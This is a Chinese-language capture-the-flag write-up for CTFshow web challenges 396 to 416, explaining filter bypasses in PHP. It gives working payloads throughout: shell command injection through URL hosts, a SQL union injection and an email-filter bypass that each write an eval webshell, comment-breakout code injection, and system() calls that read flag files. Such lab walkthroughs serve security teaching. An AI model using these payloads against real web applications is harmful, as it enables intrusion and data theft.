CTFSHOW | 其他篇题解(一)web396-web416
文章目录
- 前言
- 题目列表
- web396
- web397
- web398
- web399
- web400
- web401
- web402
- web403
- web404
- web405
- web406
- web407
- web408
- web409
- web410
- web411
- web412
- web413
- web414
- web415
- web416
前言
由于题目比较多,所以分三个部分来写,这是第一部分
题目列表
web396
打开题目,可以看到给出了代码
会解析传入的URL,然后提取其中的host和path放入代码中执行
我们分析一下URL结构,举个例子
https://www.example.com:8080/path/to/resource?user=alice#section1
部分 | 示例 | 说明 |
---|---|---|
scheme | https | 协议(常见有http、https、ftp等) |
host | www.example.com | 主机地址/域名 |
port | 8080 | 端口号(省略时默认http是80,https为443) |
path | /path/to/resource | 路径,资源在服务器的位置 |
query | ?user=alice | 查询参数 |
fragment | #section1 | 页面锚点,供浏览器滚动到指定位置 |
回到题目,shell_exec
函数可以执行系统命令,因此有很多方法可以做这题
方法一:反引号执行系统命令
用反引号执行系统命令,传入参数
?url=http://`ls`/var/www/html/1.txt
然后打开1.txt
查看结果
直接读取flag即可
?url=http://`cat fl0g.php`/var/www/html/1.txt
方法二:$()执行系统命令
在Shell脚本或命令行里,$()
语法可以用来执行系统命令。它的作用叫“命令替换”:会把括号里的命令先执行,然后用输出结果代替$()
这个表达式的内容
读取当前目录内容
?url=http://$(ls)/var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/var/www/html/1.txt
方法三:分号截断命令
可以用分号截断当前命令,然后执行新命令,可以直接写文件、写webshell,或者反弹shell都可以,看你喜欢哪个
读取当前目录内容
?url=http://1/1;echo `ls` > 1.txt
读取flag
?url=http://1/1;echo `cat fl0g.php` > 1.txt
web397
这次把内容写进了/tmp
目录里
因为/tmp
是在根目录,用../
返回上一级即可,方法跟之前一样
方法一:反引号执行系统命令
读取当前目录内容
?url=http://`ls`/../var/www/html/1.txt
读取flag
?url=http://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=http://$(ls)/../var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
方法三:分号截断命令
读取当前目录内容
?url=http://1/1;echo `ls` > 1.txt
读取flag
?url=http://1/1;echo `cat fl0g.php` > 1.txt
web398
对host部分过滤了分号,方法三用不了,其他步骤跟web397一样
方法一:反引号执行系统命令
读取当前目录内容
?url=http://`ls`/../var/www/html/1.txt
读取flag
?url=http://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=http://$(ls)/../var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web399
对host过滤了分号和>,影响的还是步骤三,步骤一和步骤二不影响
方法一:反引号执行系统命令
读取当前目录内容
?url=http://`ls`/../var/www/html/1.txt
读取flag
?url=http://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=http://$(ls)/../var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web400
在web399的基础上多过滤了http和https,且不区分大小写,不过影响不大,步骤跟上题一样
方法一:反引号执行系统命令
读取当前目录内容
?url=http://`ls`/../var/www/html/1.txt
读取flag
?url=http://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=http://$(ls)/../var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web401
这题把解析后的URL打印了出来,然后比上题多过滤了反斜杠,不过不影响做题
方法一:反引号执行系统命令
读取当前目录内容
?url=http://`ls`/../var/www/html/1.txt
读取flag
?url=http://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=http://$(ls)/../var/www/html/1.txt
读取flag
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web402
这题对scheme协议做了过滤,要求不能出现http和https,随便输入个东西替换即可
方法一:反引号执行系统命令
把http换成1,然后跟之前一样传参即可
?url=1://`ls`/../var/www/html/1.txt
读取1.txt内容
读取flag
?url=1://`cat fl0g.php`/../var/www/html/1.txt
方法二:$()执行系统命令
读取当前目录内容
?url=1://$(ls)/../var/www/html/1.txt
读取flag
?url=1://$(cat fl0g.php)/../var/www/html/1.txt
web403
先看看代码
过滤规则改了,我们分析一下
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
这段代码用正则表达式判断 $url['host']
是否是一个合法的IPv4地址。具体解释如下:
/^...$/
:匹配整个字符串(从头到尾),保证整个输入就是IP,不夹杂其他字符((2[0-4]\d|25[0-5]|[1]?\d\d?)\.){3}
:匹配前三段,每段数字+点。每段数字规则如下:2[0-4]\d
:匹配200-24925[0-5]
:匹配250-255?\d\d?
:匹配0-199(包括1位、2位、3位数字,即0-9、00-99、100-199)
- 最后一段没有点,只剩数字部分,规则同上
综合起来,这个正则表达式能精确匹配0.0.0.0~255.255.255.255范围内的IPv4地址格式
因此之前的方法一和方法二都用不了,但是方法三可以用了,咱们用分号截断之前的命令并执行新命令
读取当前目录内容
?url=http://127.0.0.1/1;echo `ls` > 1.txt
读取flag
?url=http://127.0.0.1/1;echo `cat fl0g.php` > 1.txt
web404
这题说起来挺好笑的,刚开始看到标题写了“容器生成较慢,得多等一会儿”,我真以为要多等一会,硬生生等了几十分钟,结果点进去还是404,就觉得奇怪。后面看到图片还一闪一闪的,好家伙这网页还带自动刷新的,发现不对劲后点开源码看看,结果真被坑了
后面想了一会,应该是因为这题是web404,估计官方想借此整活,也是被气笑了
回归正题,我们看到源码里写了404.php
,拼接进网页访问
可以看到比上题多了个正则匹配
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
简单来说,这个正则表达式检测的字符串必须是:
- 以斜杠
/
开头 - 斜杠后面跟着至少一个字母或数字
- 整个字符串中不能有空格或其他符号
比如符合的路径有:
/abc
/A1B2C3
/12345
然后host部分的正则匹配也改了
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
其中:
(2[0-4]\d|25[0-5]|[1]?\d\d?)
是0-255范围内的一段数字((...)\.){3}
表示前三个数字段加点
但因为最后的.
是匹配任意字符,该正则会匹配形如“192.168.1.1a”或“10.0.0.1/”这类,末尾允许至少跟着一个字符,不是严格的IP地址校验。而且也没有用开头 ^ 和结尾 $ 锚点来表示必须完全匹配整个字符串,这给了我们机会,可以用分号截断命令
读取当前目录内容
?url=http://127.0.0.1;echo `ls` > 1.txt;/1
读取flag
?url=http://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1
web405
先看看代码
这次多了对scheme的检测,要求必须包含波浪号、点号或者php字符其中之一,因此我们改一下协议即可,方法跟之前一样
读取当前目录内容
?url=php://127.0.0.1;echo `ls` > 1.txt;/1
读取flag
?url=php://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1
web406
先看代码
源码提示flag in db
,说明flag放在数据库。然后对传入的参数url进行了过滤,去除了无效url地址
用联合注入写入webshell即可,空格用/**/
代替,不然会不行
?url=http://127.0.0.1/'union/**/select/**/1,'<?=eval($_POST[1]);?>'/**/into/**/outfile/**/'/var/www/html/1.php#
然后打开1.txt
查看,可以看到成功写入
蚁剑连接webshell即可
可以看到有个config.php
配置文件
打开可以获取数据库账号密码
然后打开数据库操作页面
添加数据库,如图所示
成功找到flag
web407
先看代码
这题改成了要求输入参数ip,且要求必须为IP地址以通过FILTER_VALIDATE_IP
验证
然后我们的目标是执行cafe类的add函数,可以用::
来调用函数
payload:
?ip=cafe::add
cafe::add会被当成IPv6地址,从而通过FILTER_VALIDATE_IP
验证,展开的话就类似
cafe:0000:0000:0000:0000:0000:0000:0add
然后打开网页源代码查看flag即可
我们分析一下IPv6构造:
IPv6地址的构造规则比较复杂,支持多种简写和压缩形式
- IPv6地址由8组4位十六进制数字(0-9,a-f)组成,中间用冒号
:
分隔,如2001:0db8:85a3:0000:0000:8a2e:0370:7334
- 可以使用双冒号
::
缩写连续的零,比如2001:db8::1
表示中间连续的0可省略 - 各部分区段中的数字可以使用小写或大写的十六进制字符
用个表格来概括就是
特点 | 说明 |
---|---|
长度 | 128位(二进制) |
分组 | 8组,每组16位,用冒号分隔 |
表示 | 采用十六进制数字表示,每组4位 |
前导零省略 | 可省略每组开头的零 |
连续多个0压缩为:: | 每个地址只能出现一次:: |
地址类型多样 | 单播、组播、任播,特殊前缀表示不同用途 |
IPv4兼容和过渡地址 | 支持将IPv4嵌入IPv6地址 |
接口标识符自动生成 | 通过EUI-64等标准根据MAC生成 |
例如,典型IPv6地址是
2001:0db8:85a3::8a2e:0370:7334
它等价于展开的
2001:0db8:85a3:0000:0000:8a2e:0370:7334
web408
先看代码
这次改成了验证是否满足邮箱格式了,我们介绍一下FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_EMAIL
是 PHP 内置的一个专门用来验证电子邮件格式是否合法的过滤器
它会根据RFC 5322标准对邮箱格式做校验,包括:
- 检查是否存在且且只有一个
@
符号 @
前面的部分是邮箱用户名,允许的字符包括字母、数字、点 (.
)、下划线 (_
) 和连字符 (-
) 等@
后面的部分是邮箱域名,必须包含有效的域名格式,比如example.com
,包含至少一个点号 (.
),并且顶级域名部分也要正确- 避免使用不合法或不允许的特殊字符
- 验证邮箱的整体格式符合国际标准,不过不验证邮箱是否真实存在
然后file_put_contents
格式为
file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]])
$filename
:要写入的文件路径和名称,如果文件不存在,则会自动创建$data
:写入文件的数据,可以是字符串、数组或者流资源$flags
(可选):FILE_APPEND
:将数据追加到文件末尾,而不是覆盖LOCK_EX
:写入时给文件加独占锁,以防止其他进程同时写入导致数据混乱FILE_USE_INCLUDE_PATH
:在包含路径中搜索文件
$context
(可选):用于修改资源流的行为
可以把非法字符放在双引号里绕过email@的前缀限制,因此payload为
?email="<?=eval($_POST[1]);?>"@1.php
然后蚁剑连接
在根目录找到flag
web409
先看代码
会过滤掉任意字符后的flag,这题我们可以通过闭合PHP代码来做
payload:
?email="flageval($_POST[1]);?>"@1.com
通过在前面加上flag
来触发$email=preg_replace('/.flag/', '', $email);
这一行代码,会删掉前面的"flag
,接着?>
闭合代码
然后POST传参执行命令即可
1=system('ls /');
读取flag即可
1=system('cat /flag');
web410
先看代码
这次是通过布尔判断输入的b是否是”1“
根据PHP文档,FILTER_VALIDATE_BOOLEAN
会把下列字符串(不区分大小写)视为true:
"1"
"true"
"on"
"yes"
以下对应的字符串(不区分大小写)视为false:
"0"
"false"
"off"
"no"
""
(空字符串)
然后题目过滤了大于0的数字和true字符串,那我们传入on和yes都可以,大小写都行
payload:
?b=yes
或者
?b=on
web411
先看代码
跟上题一样,不过这次把on的大小写过滤了,我们用yes或TRUE等都可以,太多方法可以绕过了
payload:
?b=yes
web412
先看代码
这次是POST传参ctfshow,然后添加到flag.php
末尾,同时前面还有个注释符//
用%0a
换行即可
payload:
ctfshow=%0aeval($_POST[1]);
然后蚁剑连接webshell
在flag.php
找到flag
web413
这题相比上一题,注释的方式改了
ctfshow变量被包含在多行注释符/**/
里面了
只需前后加个注释符即可
payload:
ctfshow=*/eval($_POST[1]);/*
然后跟上题一样,蚁剑连接webshell,在flag.php
找到flag
web414
先看代码
我们简单分析一下代码
if ($ctfshow == true)
判断变量$ctfshow
是否等于true
,只有在$ctfshow
为真时,才会执行内部判断
sqrt($ctfshow) >= sqrt(intval($flag))
sqrt()
是取平方根函数intval($flag)
将$flag
转换为整数- 判断
$ctfshow
的平方根是否大于等于$flag
整数值的平方根
只有当$ctfshow
的平方根小于$flag
整数的平方根时,才会显示flag
然后我们再来分析一般情况下布尔判断条件
被视为 false 的值:
- 布尔
false
- 整数 0
- 浮点数 0.0
- 空字符串
""
(包含字符串 “0”) - 字符串
"0"
- 空数组
[]
NULL
被视为 true 的值:
- 任意非零数字,例如
1
、-1
、3.14
- 非空字符串,且不等于
"0"
,如"false"
、"off"
、"hello"
等都会被认为是真 - 非空数组
- 资源类型
- 对象
因此这题我们只要传入非零负数即可成功通过验证
payload:
?ctfshow=-1
web415
先看代码
在PHP中,函数名是不区分大小写的,这意味着定义函数时用的名字,如getflag()
,在调用时可以写成getflag()
、GetFlag()
、GETFLAG()
等,都会被正确识别并调用
不过需要注意的是,虽然函数名调用不区分大小写,但变量名是区分大小写的
payload:
?k=getFlag
然后源代码查看flag即可
web416
先看代码
我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可
补充解释一下,它主要用于:
- 访问类的静态属性和静态方法
- 访问类的常量
- 调用父类(
parent::
)、当前类(self::
)、或静态绑定类(static::
)的成员
payload:
?f=ctf::flag
然后源代码查看flag即可